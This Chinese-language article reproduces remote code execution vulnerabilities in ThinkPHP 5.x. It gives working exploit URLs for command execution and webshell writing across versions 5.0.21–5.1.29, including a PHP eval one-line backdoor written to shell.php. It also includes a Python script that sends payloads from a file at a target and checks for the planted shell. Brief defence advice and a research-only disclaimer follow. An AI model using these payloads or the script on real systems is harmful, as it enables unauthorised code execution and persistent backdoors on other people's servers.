ThinkPHP5.x漏洞复现
字数 532 2025-08-18 11:39:30
ThinkPHP 5.x 漏洞复现与分析
漏洞概述
ThinkPHP 是一个快速、兼容而且简单的轻量级国产 PHP 开发框架,使用面向对象的开发结构和 MVC 模式。在 5.0.x、5.1.x、5.2.x 版本中存在远程代码执行漏洞,攻击者无需登录即可利用这些漏洞执行任意系统命令或写入恶意文件。
漏洞影响版本
- ThinkPHP 5.0.x
- ThinkPHP 5.1.x
- ThinkPHP 5.2.x
漏洞验证方法
1. 获取当前用户
http://target.com/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2. 获取进程信息
http://target.com/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=netstat -an
3. 写入shell文件
http://target.com/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_GET["code"])?^>>shell.php
此命令将在 public 文件夹中写入一句话木马文件 shell.php
不同版本的利用方式
ThinkPHP 5.0.21/5.0.22
http://target.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
http://target.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
ThinkPHP 5.1.x (以5.1.29为例)
- 代码执行:
http://target.com/?s=index/\think\Request/input&filter=phpinfo&data=1
- 命令执行:
http://target.com/?s=index/\think\Request/input&filter=system&data=操作系统命令
- 文件写入(写shell):
http://target.com/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
- 其他利用方式:
http://target.com/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
自动化测试脚本
import requests
import optparse
print("*"*30 + "Thinkphp远程代码执行" + "*"*30)
headers = {
'User-Agent': 'Mozilla/5.0(Windows NT 10.0;Win64;x64) AppleWebKit/537.36(KHTML, likeGecko) Chrome/80.0.3987.132Safari/537.36'
}
def get_info():
try:
res = requests.get(url)
if res.status_code == 200:
get_system()
else:
print("此网站无法正常访问!!")
except Exception as e:
print(e)
def get_system():
with open('payload.txt','r') as f:
try:
payloads = f.readlines()
for payload in payloads:
res = requests.get(url+payload,headers=headers)
if res.status_code == 200:
print("执行命令如下:",res.text + '\n')
if requests.get(url+'/shell.php').status_code == 200:
print("上传脚本成功,木马脚本地址为:",url+'/shell.php')
else:
return False
except Exception as e:
print(e)
if __name__ == '__main__':
usage ="python -u <target url> -p <target payload>"
parse = optparse.OptionParser(usage)
parse.add_option('-u',"--url",dest="url",help="Enter url")
parse.add_option('-p','--payload',dest='payload',help="Enter payload")
options,args=parse.parse_args()
if options.url == None or options.payload == None:
print(parse.usage)
else:
url = options.url
payload = options.payload
get_info()
防御措施
- 升级到最新版本的ThinkPHP框架
- 对用户输入进行严格过滤和验证
- 禁用危险函数如system、exec、eval等
- 设置文件上传目录不可执行
- 配置Web服务器权限,限制PHP执行权限
免责声明
此文档仅用于安全研究和学习目的,请勿用于非法用途。使用这些技术进行未经授权的测试可能会违反法律。